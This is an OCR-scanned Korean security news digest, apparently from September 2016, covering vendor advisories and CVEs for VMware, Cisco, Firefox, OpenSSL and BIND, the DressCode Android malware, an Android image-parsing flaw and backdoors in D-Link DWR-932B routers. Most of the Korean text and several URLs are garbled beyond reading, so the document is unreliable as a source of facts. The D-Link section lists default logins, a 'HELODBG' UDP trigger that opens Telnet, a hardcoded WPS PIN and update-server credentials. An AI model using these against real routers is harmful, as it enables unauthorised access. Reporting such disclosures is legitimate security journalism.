VMware iit= Hekes, 2I9|F ::Jélacg F[OkX 2 5jiZi5t HOt AH|0|ES WHH[1]

—_L-_O0OO

Ak Hh= HITO| AF2RH= 2[A MO IH|0|E A1

- M8

- & HHRHEZRE S5 AT = Al FOFH(CVE-2016-7081)
IR 7|24 THATHAS| HIma] &4 F{OFH(CVE-2016-7082, 7083, 7084)
- OSX 7|2 VM Tools ©] NULL EQIE| & RS S5+ Q15+ 5t A FIR(VE-2016-7079, 7080)
- DLL 310/MIS S5t QIojTE s F{oFH(CVE-2016-7085)
- QFRSIX| Q2 Alstiiiels 25109 QOITE Als FOFE(CVE-2016-7086)

(et = ﬂé%lﬁ]

8| HIQHZRS Zior

e 0s =t4 Hetdh=HHN ZIA HH
Windows 12X 125.0

VMware Workstation Pro
Linux RS SRS
Windows 12X 125.0

VMware Workstation Player
Linux SiEgei= SiEei=
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Memory corruption £|2F&
== 0S &+4 ek k= HH
Windows 12X
VMware Workstation Pro
Linux SHEei=
Windows 12X
VMware Workstation Player
Linux SiEei=
NULL ZEQIE| SIRIX X[okM
o= 0S &4 sk b= HH
Windows SiEei=
VMware Workstation Tools Linux SiEei=
OSX 9x,10x

*V/Mware Tools 10.0.9 = ESXi 5.5, 6.0, Fusion 8.5.0 0| ZZSH=|0] US

DLL 510K Ferd

o= 0s &4
Windows
VMware Workstation Pro
Linux
Windows
VMware Workstation Player
Linux
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Insecure executable loading F|2H

=) 0S &4 ek dh= HiH
Windows 12X

VMware Workstation Pro
Linux RIS
Windows 12X

VMware Workstation Player
Linux LU=

ol

ad

et = ATEQ0] 2R HiM AX|12]3]14][5]6][7]

[RIIALO|E]

[1] http:/ /mwwvmware.com/security/advisories/VMSA-2016-0014.html

[2] ESXi6.0: https:/ ;mwwymware.com/patchmgr/findPatch.portal

[3] ESXi 5.5 : https:/ Awwvmware.com/patchmgr/findPatch portal

[4] Workstation Pro 12.5.0': https:/ /mww.vmware.com/go/downloadworkstation
[5] Workstation Player 12.5.0: https:/ mwwvmware.com/go/downloadplayer
[6] Fusion 8.5.0: https:/ /wwwivmware.com/go/downloadfusion

[7] Tools 10.09: https://myvmware.com/web/vmware/details?productid=491&downloadGroup=VMTOOLS 1009

Cisco 10S 22 ER||0] ¢t F2FH 2 ALl

a
Cisco it= XIAIR| HIZO0| FotE F= FoFES J7H1]

SRz offd FIEE Aol S YE & SO TGS YA

- SMEE

IKEV1 OlM THZIS R2[oh= 2FE0IM 2 HE 20| Si8%= FUFH(CVE-2016-6415)

% IKEV1: Intemet Key Exchange version 1

% Cisco 10S, IOS XE, I0S XR: Cisco iit CHS = 2FPER ALK ARSE[LT

[F& L= M=

FIMOIE[1]0]] BAIEIO] QU= ‘Affected Products'S Sl FI2I5H HiE
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- o2y

OII

SiXH otig FrEo| EH?_* HOH H|0|E7H EE|X| B0t IHX |7 HE 2 Ti7HK| Y ol AIARIIPS)OIL B EX|
AAEIDS)E 225101 Tt Z[QMHS OIR5+ 27 T2 EFX| T OfHtet 242 AT

X B2t HO HH|0|E B A| XHZX|

[RITAJO|E]
[1] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20160916-kev1

Firefox 20t HL[O|E #11
DRI} RHEHOY|A] Firefox 2t Firefox ESR E2RAQ] Ci4=0| FofMS oHZA

ron

HEOH HH0IES LH1]2]

- SMEE

Firefox 2| nsBMPEncder::AddimageFrame Of|A] 244Sk= Heap buffer overflow FI2FE(CVE-2016-5278) 2| 194

M= ek Hi= HIA ahd HH
Firefox 490 OMHHH 490
Firefox ESR(Extended Support Release) 454 O™ 454
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Firefox & A&lio}0] HiFHES S&l6t, ==Y S2! 5 "Firefox =" MEH

Emmee-—aae-ae— -
— —
= Q) © - A ® B & T~ » =
] ¢8R Y BE . "
g3 =8%
p O *- + Firefox S8%
27| a3 ¥t o= Firefox §2{£7|
i FIRE ote7)
p 2 NHT Firefox yE FA 22N
HER X o3g a YA
gb o| EWR7).
: 0N DE B AR
R .~
EECI 1 (3 mrr—

S T

Firefox FE& 20| E2|H X522 YH0|ES 2RI AHT TREE
L2207} 2=k 8X| ZH[7} 2t=5H Frefox £ XI5 CHA AR HES 2=

Firefox

I[nem Firefox to Update |
Firefox 15 designed by Mozila, 3 global community working
together to keep the Web open, public and accessible to all,

Sound interesting? Get involved!

Licenzing information End-User Rights Privacy Policy

e VS

X 9ot 22 WHOZ AH|0|E7t ARIE[X| ALt RtEE[X| §h=CHH 2| Firefox £ CHREOL IHAX| 1

[RIIAJO|E]
[1] https:/ Aww.mozilla.org/en-US/security/advisories/mfsa2016-85/
[2] hitps:/ /mmwmorzilla.org/en-US/security/advisories/mfsa2016-86/
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Ciscoti= AAO) HZ0f YIS i HIOPHS Siziet 2Ot AHOIES WE
BRI Sl FIOIS 1S5 FATEMY, MHIA 72 50| TS BUYAR 4 U002, FNIBHOS efEj0|E

=

- M8

- Cisco E2FRE AH|A Z3HZ 2100 HMHE QIHM FOFH(CVE-2016-6373)[1]
- Cisco E2FRE AHIA Z3E 2100 &4 TE= A3l FOF(CVE-2016-6374)[2)]
+ Cisco 0S, I0S XE [0X HPHE Q1R FOFH(CVE-2016-6414)[3]
+ Cisco Firepower Management Center 2! FireSIGHT AJAR! ATEQ)0] SSL 23| FIF(CVE-2016-6411) [4]
+ Cisco 10S, I0S XE AZLEL0] AMH|A HE FFR(CVE-2016-6409) [5]
- Cisco Prime Home HE & F|OF(CVE-2016-6408) [6]
- CAF 3iIc] 2 FIFE(CVE-2016-6412)[7]

% CAF: Cisco Application—hosting Framework
- Cisco APIC P&t A& FIFH(CVE-2016-6413)[8]

% APIC: Application Policy Infrastructure Controller
- CIS Cisco Mg S 324 FAE(CVE-2015-6358) 9]

(Bt L= M

ZEIAO|E0]| HAE|0] 4= ‘Affected Products' S Sl F{2fet KIS 201

|0|'

F|oFH0| et Gisco AZER07+HEAX|E Cisco ZH|2| 2, o= FHUIAOIEN| HAIZ|K U= ‘Affected Products'

=
LIRS &lolsi0l, THX| 2

o=
ZLI0|E7} HEEX| 952 FFH0| St 2= ME2 ZIZMI0IE7} UE = M7eK| gl 20| ol 4s 21l
- (QVE-2016-6414) iox HRHO| YZM0]| gt A OIS2= Qs A2 27 0| QoM | Mizd| S2X HZSHE

Z=ASHY
—(QVE-2015-6358) SSH,HTTPS & S8t Tx| &2| QUEJH|0|A0] Chet MZS M= 4+~ U= IP 2 SHESI=S Migret A

X ol HOt L0 |E WH Al S|
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[RIOAO|E]

[1] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20160921-csp2100-1
[2] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ cisco—sa—20160921-csp2100-2
[3] https:/ /tools cisco.com/security/center/content/CiscoSecurityAdvisory/ cisco—sa—20160921-iox

[4] hitps: //tools cisco.com/security/center/content/CiscoSecurityAdvisory/ cisco—sa—20160921-fmc

[5] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ dsco—sa—20160921-dmo

[6] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ dsco—sa—20160921-cph

[7] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ dsco-sa—20160921—caf1

[8] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ disco-sa—20160921-apic

[9] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/disco-sa—20151125-

OpenSSL LS FE HOIRH0[E A
OpenSSL OflA] A3H AH|A 745 324 F/0F, Out-of-bounds $471/47| oK & & 147H0] FIoFEg Hatst
II

HOF AL0IES ZES1]

- M8

- SLI0[AHEOA B2 U9 OCSP RES il B AHIA HRIHLMS 4 Q= FAUF(CVE-2016-6304)

- ESSHH| 2 2 HFES Hif AR SSLpeek 2| ZSIOZ OloH AH|A HET| sS4 QL= F|OFM(CVE-2016-6305)
- 3DES CHEIRIS O| LSARIES X[2loh= SSL/TLS T2EZ0A SWEET32 3290] 7t58t FI2FE(CVE-2016-2183)
- MDC2_Update() i=0lM QHEZ 27} 2 5 Out-of-bounds 277} 7Fs5t TI°”“(CVE—201 6-6303)

- tls_decrypt_ticket 20ilA] E[ZI 20| 20| OIE510] AHIA HET7 L AS! 4~ QL= FOFE(CVE-2016-6302)

- BN_bn2dec() £=~0flA] 2|E Ziof| CHSH MIZE SEX| 220t Out-of-bounds A7 |7t 7158t FFH(CVE-2016-2182)

- TS_OBJ_print_bio() £4=0lA] Out-of-bounds 247 |7t L4l 4~ b= FIFE(CVE-2016-2180)

- IZIQIE GIMOIA] Lilioh= EXE AMH|A HHET} 2bligt 2~ QU= FIFR(CVE-2016-2177)

- DSA F15H0f| ZEIO= XL DSA THRIZ 1E &8 4 = FIH (CVE -2016-2178)

- QOIFO| A7t H2 DILS MIMS FAISIH AH|A HEI | EPlSt 2~ Qli= FIOF(CVE-2016-2179)

- DILS Anti-Replay 7|52 *2[5k= 201N AMHIA A7t s 4~ 'E FFE(CVE-2016-2181)

- HIANX| 20| K24 AP} OIS5I0] MH|A HR7H A 4~ Q= FAE(CVE-2016-6306)

- £7 Z0| 0P| TLS HIAIXIZ XM2ISk= 2PEOIA MH|A HET Eblsh 2~ QL= FIOFH(CVE-2016-6307)

- £ 20| 042 DILS HIAXIE &ME[Sk= LFH0fA AH|A HERI EPESE 2~ Q= F{OFH(CVE-2016-6308)

[F = RIS 2 HE]

—-OpenSSL1.1.0

—OpenSSL1.0.2

—OpenSSL1.0.1
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[RIAO|E]
[1] https:/ /www.opensslorg/news/secadv/20160922.txt

[2] https:/ Avw.opensslorg/source/

HOIG0|E #H1
B0 7H53t FlorHS S HIIHI0|ES W]
UBIKIAZHON HIZ £ RIEI0|E HZIOIA] s

=

OpenSSL Ct& F2FH

OpenSSLOjIA Ye|TE Aldl 3 MH|AHE
OpenSSLOIAM 20169 9 & 22

- ol FlopHe

- SMIEE
0N S5 25 E TLS HAKIS HEE A UMGH= Use After Free FIRIR(CVE-2016-6309)
(RL 71501 24Sk= NULL ZEQIE] S F{OFH(CVE-2016-7052)

it s HZ o bE

o
OO Ci—

-OpenSSL 1.1.0a(CVE-2016-6309)
-QOpenSSL 1.0.2i (CVE-2016-7052)

- ofigd

Oll

o= FIH0]| Fek Hhi= HTO| AFSA = O HHCE RT0IE[2]
~OpenSSL1.1.0a AK2A}: 1.1.00 2 H[0|E
~OpenSSL 1.0.2i AK2X}:1.0.2) 2 HHOIE

[EIALIE]
[1] https:/ /mww.opensslorg/news/secadv/20160926.txt

[2] https://mwwv.opensslorg/source/
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BIND F2fd Eot HOI0|E H1I
ISC = BIND DNS OfjAf (iA5H= 2424 AJHIA 71(Denial of Service) ZIQFMS aHZ5H HOF HBI0|ES (1]

- Mg

buffer.c Ol S&et IS HEUE THZI0) CHet SES HE I, MH|A 57 Lsk= FFE(CVE-2016-2776)

(Bt = ATEQ0]]
—-BIND9.0x~9.8x
-BIND99.0~9.99-P2
-BIND99.3-51~999-S3
—-BIND9.10x~9.10.4-P2
-BIND9.11.0a1~9.11.0rc1

OII

- ol ZH

-BIND9 H{X 999-P3 £ HL[0|E
-BIND9 K% 9.10.4-P3 2 SH|0|E
-BIND9 B 9.11.0rc3 2 YH|0|E

[EIAIE]
[1] https://Kbisc.org/artide/AA-01419/0
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1. 30|

DressCode QIE20|E HYIK, 1= S2|0] AE0 o 40 7HOJA 74 f
DressCode Android Malware Found in over 40 Google Play Store Apps

MZ=2 2EZ0]= 0] I{ZE]2! DressCode 7} 7[& IERE LT SAE ?let IEAMZ ARZE 4 U2, OFH0| QPHSIC

OARNE MHSZ2RE HHEE %é T U= NO= LIELTIT,
O] 20t= MEKIE0| I2=2] AFFTES 4~ B2 2 »olV| AlRIS0 &7 DressCode 2t EE EIRIC.
O] ZRUIS Ldet HOt SAIR] CheckPomt— 7= S0/ AE0{0|A O] 00 ZHF = ¥ 407HS LAICL

DressCode, Z|4~ 50 2l t=201= 717 ZHEAIA

DressCode Of] 4 & Y=2 Xt 2016 A 4 EFE 7= E20] AE0{0] HoH | ARRICL, Checkpoint 2] M2 2 720
O M|HSIALCL.

= S21(0] SH|0i| =M DressCode Off 24 & HS2 500,000~ 2,000,000 Bl ARBAIES LF AZCH, 0| & 71
217|U= ¥ Sh-f= 100,000~500,000 2[2] LHRZE 45 IS0t A= LIERHTE
DressCode = #g & ZHISS o}OI"HOF’ U0 H2A 7 I= ok TEE Telol QUL
O] El0t= =9 CRC AfHL OZ SLSIT ZU MEAP L oby ASS of== XAE W=IH, =52 7|0 8=

— = 1O co=
HUH7ALL Atet ord A=

E

i
e
o
ol —
_F'j

DressCode, & 717|E ZEA| MHZ AtEof

A0 CRC AMH ALO]Q] S42 ZE & 71710 27 E SOCKS ZEAIS Soll O[F0{TICt, 0] ZEA = 2 2BXIS0] X0

Welo2 B4 H HIEYTL 7R Qlule) 42 K| B 4 UTS S1ZaiCt
TANSS UIEATON THRVH S5 4 U 53 B AoPALL TS50| BHS HSA7 1= oy T
717104 s 2 QU

mfn

ZHA |
a

a —

i

ofXZ Ol= Z/2fQ] A|Lt2|20]|0, DressCode 2| 2BAE2 Y & 717 IS HEE Z1E EAloil 22| AP IS Salf 11 4

=o|=H AFSoll U= A= LIELTIT,

[Exhttp://news softpedia.com/news/dresscode-android-malware—discovered-on-official-google—play-store-507829.shtml
http://blog.checkpoint.com/2016/08/31/dresscode-android-malware—discovered-on-google—play/
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O|O|X| Tt SHLPIO = F4o| QtE=0|E EO0| sHEE + ULt - Xz SE WX|
ofM[L!
Waming! Just an Image Can Hack Your Android Phone— Patch Now

QUEZ0|E ES AR F0171? JZCHH ZAIGk= 20| ZAUCE SNS L HIARY 42| F5HcH HOl= 0[0|X| &t SH7t Zble]
ANEES H2i8t £ QICt

9 Ai2] 7[7101| F2FS DINE Quadrooter FIFEL CIE 7 [Z0H| S71 & FUESI &, #2322 SZRI7F AH0|C0{L JE
WS Sali Folfol =0|= O[0|X|of] 1=2| 2 FEE &7 e = ULE 5185k= M= FAUTE T e/ IHX[SIRACE,
AFBXR= 0] 2fd O[0|X|Z S2IoHX| YiCiEte ABE o U= A= LIEIKICE £0| 0[0[X|2] H|O|HE ISRt OfXY, 2232
34X 71712 MO{SHAL CI2AIAHE =S 5182 4= 7| Z0|C.

0| FUTS A AZAL ZEA| Tt HIAE HAXIS L QEEZ0[= 717|S S01XH & o~ UUH 2HA
Stagefright HHT12t FASICL,

SEXIZE O] FAE(CVE-2016-3862)2 £ QtEZ0|= OE2IAH0|MS0] AZSh= O|0]X[E2] Exif HIO|EE THlSk= 2PEol|
ZIHSICi 0] F|oFMS H745tH SentinelOne 2| H-2IQ! Tim Strazzere 7 ZUGHL,

IEZ0|=2] Java object Exiflnterface Z=E At&ok= 2= =0 0 00| F¥et A= HOIC

_m
bel
F
Y]
1

OIJRIZ HIQ=T? T3 AL BTt

-

SAXIS2 sHA0| 0] FH0]| Feks Hi= WOl Gehat OILE Gmail S2 Salf 00|X| IS RLESIAH| 5 AFSXIF LUX| oA
717 |1Z TH2AI7{ HE|ALYE, 71710]] ZRU0IE 2111 O1F M(Ofo}/ | Ylo HA= ofe TS Aldlist = QlA| =L

Strazzere = "0| M= T12| T2 RX 4SAES HQZ 6IX| =Lt 0|0|X|E 8 YAOZ 2E6k= (2[00
29 #0|Cf. =20 O] H1E SEA = A2 o7 125 H HAX|L O|HIYS Ei= ATF ZHHSIC (EZIAH01MO]
O|0JX[Z G211 A|=dh= &=ZHO| RF2 XISC= TRl L), 71717t TR E 4= QUCE" 1 AT,

Strazzere 2 TS = 71V 1E {lSH YAZZOISS MERICH 0|7t Gehat, Gmail S ZE&fet CHE CHEEQ| HlAIK2t A
OIC]0] ol SEISh= RS 2RIRICE SHX[2 = 712 U2 MRSt CIE WE2| 0|52 95X UL
IE20|= 444 5E 6.0.1 7EK|2| = H{T0] 0] O[0|X| 7|2te] SZ0i| FoFet A= LIEFITL

CESHO| (RIS OIEZ0|E 4.2 2 AKRSI= 717} OJOEE 7|7 IS0 12| AAZZQI0| SXAlsH= 71 0]

=T

OI'

O,

het

31O

L AM— o
7171=0] x| EI7<| B2 Y= '5OIR!0] AI=Z0|= 71 HTS Mot B2 AMSAEE 0] FH| =& =T 33,
722 0| Ol 2 +Hol/| ?let XIS LUK, RIZAS} SLASO] 0] IHX|E MEok=0| S0t 22X = LXK

BT

=2 Strazzere Of|A| QIEZ0|= H{T1 HIRE| 2O = $4,000 2 KISRULH. Strazzere = A3 TS 9-13 M AHES 25t
O=773:01 Girls Garage Of] 7 [R5 RH= 52 B,

[Ex{http://thehackemewscom/2016/09/hack-android-phone—security.html
https://source.android.com/security/bulletin/2016-09-01.html
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D-Link DWR-932 B LTE 2fE{0f|A{ B0 Ch= B4 &f
Multiple Backdoors found in D-Link DWR-932 B LTE Router

DIk D-Link M 2tREE 71X UCHH, 71230] DWR-932 BLTE 2fREEIH HEHS I ZIH|0[=E 7ICk2(7| 2Lt ARBS
SXlok= X0 Z= XOICH.

D-Link DWR-932B LTE 2t2E{7} 20 71 O|&2] O|5:0H| F|efet 2O = YIS{AL B0 AP, CIZE J2|HAM T 2|0 RF,
TR0 12|0]|= F|oFH, QFMSHK| 242 UPnP(Universal Plug-and-Play) A4 S0] 047 0] 2 &t =IC}

Tk O] FUHS0| MSHO= g & AR, SAKIE2 HH0= H410| 212K X HIERITE S0 A5t K|0fgh 4~ A =Tt
Z = D= 77|52 7K 22 2 DNS Z0|XY Z40| =& A)ZIC

il

H
'
re
1l
;

ol

A7t Gelof ot # 2tPEl= XS0 T 22| DDoS 25 Alok=E| A& 7| &t 2 711! 1Tops 2] DDoS
SZ0] 2ESl0f HZ E S = AOLE 717115 2TH Okd= OISHTHAT Bl HE UL

HOF HTLRIOI Pierre Kim 0] O] F|UHS HIZ4SHCT
Telnet 2} SSH BHE=0] A1

0] 2732 T HAES TIRH F, 0] D-Link 24 2tRE7H = 7H2| SI=FF  HIZ APE(admin:admin, root:1234)S AE5k=
Telnet 3! SSH AMH|AS CIEEZ 2ot U= AS LA

oli7i=2 ol 0] F2|HESS OISl Ffet 2FRE0 SBX 212! H=5FH Fet 2, 150| ST sS4 &diot, 21E4l
EdTS ZLHZSK, ofd ASEEES ot 2fRH MBS HEGIES 182!t

I OHE 0]

0| 2}RE{= SIETY = H|Z H240{21 "HELODBG" 2AIES UDP EE 39889 2 Hijj= Zd BtoZ QIRE| 4 Ql=IF [}= H|Y
HHEZOJE 7FK|T QUQACE O|2A4 O[S O1= THA| J0| 2E HSIOZ Telnet S AlaHa! 4 QIA| EICt

FIOFEHWPS AlAEY
CIEE WPSPIN:

L2 2HRE0IM "WPS'(Wi—Fi Protected Setup)2t EA| &l 212 HES E745E H0| US Z0|Ct O] HOt 7|52 2=
AZHS0| AH| Wi-Fi THARIE CHA PIN 22 G410 M HEYT = HLIICE 51331

D-Link 2}2E{2| 0] WPS AJAEIS| PIN-2 282966070|Ct. Ol= /bin/appmgr Z2120f| SI=TE =0 QUL

FIoFSt WPS PIN A4:

3 ARISE 2IQEIS) ORI  QIEIHOIAS ARSSH RIAIR A WPS PIN S 4415 4 IOLL SIS PIN A4
UTRASS LIDLE HfH BHKIS0| 7 OS2 4 Uk

2 HeI0{ OTA YIH0IE
THOF I H1201=7 tHFE AIZ LHO| XS =01 O] ZXIE SHZsH £ Z0[=f 2fotH 1174 Q4H0]Ct.
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HLtoHH, D-Link 2| &2 HY0] T4 YH|0|E(FOTA) HIHLIE 2=t Ff5H | 0|,

FOTA A2 HZ5}7| 2Igt F2|HIAEL /shin/fotad HIO|L2[01 SIEZE E|OQUCE APE/MAIE X8 gdpcgdpe, adpeiadpe,
qdp:qdp O|Ct.

FE5H FOTA CH22 HTTPS £ Saf BR01Z #1021 AI=SIRIRL

0

https://qdp:qdp@fotatest.gmitw.com/qdh/ispname/2031 /appliancexml £ £/t SSL 2EA1= 0]0] 1,53 St RE6HK| £F
HEHQI RO = LIELITE

T

UPnP 2] =2t ZX| X[
L=[6H] = LAN E10|HESZRH £ & M Yot £ Lol | 2o, 25 09710 22 = M| Ari0] EXHelC.

SHXIBE O] £I2k8t D-Link 2{EIS QJ5HAVE I Ljfo] UPnP 3t Z0ll= {3t Kot ARSI SIQICH TRpA LAN Off &2 &

D= AfZI0] QIELI0)A] LAN Off QIXISHs CH2 22I0[IER9| Port BT 28 713t 4 Q| SiCt,

“THRH= QIELIOIA] 22 AAKIQIK] M, I A, FTP AJtH, HTTP Alth, HIOJEMIOIA MHZ2| LS 512517 2IsH
22l £2 2715 4 QICH 0|2 915 22 AR IS0| 5H= OffH Z10]= QIE{0)A LAN OF He 8t 4 Q| EIC¥'n

Kim O] 2534Ct,

0] ZIOf5t ZHRE{S Sait I TS B0t 0[+S0| X SHK[AL Kim S 2 T2AA, B 2 37|9| Him2|(163 MB), Hi<ist 27t

(235 MBIZ 71X 0] 24QE{Q] HOI0| LYSLIT FOFstAIEHO]7| LHZ0| ZZAISO| 0] 2RES B2 HIEIZ AIRSI= 22 OFF

ARASH QUL Z0[2} 2L

Kim-2 0] 9t 0|2 CHRIC| LIESIZ) H] HIZEAIR! D-Link 0ff it 62 HZUK[ZE OFIIIX] QIEI0|ET | St AfEHO|C,

[CftA] = CERT 2] 012 210 0] ZobEo| LIS ZIHHA) SiCt

[EX{nttp://thehackemews.com/2016/09/hacking-dHlink-wireless-routerhtml
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-tte—routers-vulnerabilities himl
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2. 3=

meizu A0EZ, HHIY YO0 ZHY... =S WOF S0{=C
BABHEFHREENT BRYRA T 68277

22 = meizu FUE AEAS0| HEH00] ZB=I, SARIAH =S XISSHOFZ 2ES SR o= U0 =2H0] =11 QT

9E 12 Y, meizu FLHE ASAF AAHO= B2 ARBAES] MIE7 T NEACE XLE 22H JUHE 2FH0| 27 = S0
Wlolll, SHAXP} =5 K=ol S SHMIHUCHH efeiTh= LHZOIIC.

meizu= 0|0] LGS U2 CHFZE2| TS0 2= oHHIE & &= AT ZXIE FRUCHL HRACE T2t OHLEMRIE)7 (K7t
meizu S2EUH & RE| MEAP LGS /AL, Tiol Y= 0= w20|H, OHet XIS FRU=A| 22T ELE
HES X =23,

meizu= 12 A YPYLS LMIRH, Sol| 7 He| AHAAS JHZ[SIA! 9 tHe| FLHES S/HYC. SIXIZE X2 elich=
HORENZ Qlol SLhE AUIMC] meizu ZH2 EXRHFHXL UL

meizu Flyme AA[HO= AZAISS| CHfR ot kil QU

"PS| L FLHES FH=C|, ZHUE L MX5 21HO| ZA| HOHUULT. SFH0k= Bt TH| ﬁlﬁﬁiﬂc—i A AU,
HIZHSE Yol 21015 & 4= iR 0|2 |HHECE EXAIE of 8 #RE=H, QQAECE == EHH Ea=
E0{F2Ch= LIZO|ACY

‘meizu TZHIE|Of] H2ISUX|TE TS0 EHE=0]| IHS AUSIAC. 0f2] H2| 22| Bof| HiHS Eh=| 3~5 LO|Lt 2R

O[%f2] B2 meizu MBXISO| BIOIS tieba, sina 012 2 Fyme HAJE SO AAIS| SIHEO| BZion, R3S stz S
AEIOR 8 UORHD, 342 FUBRE| FUBIRNEIXI ST 20| HE31CH OfE IBTISE 201 SN 395
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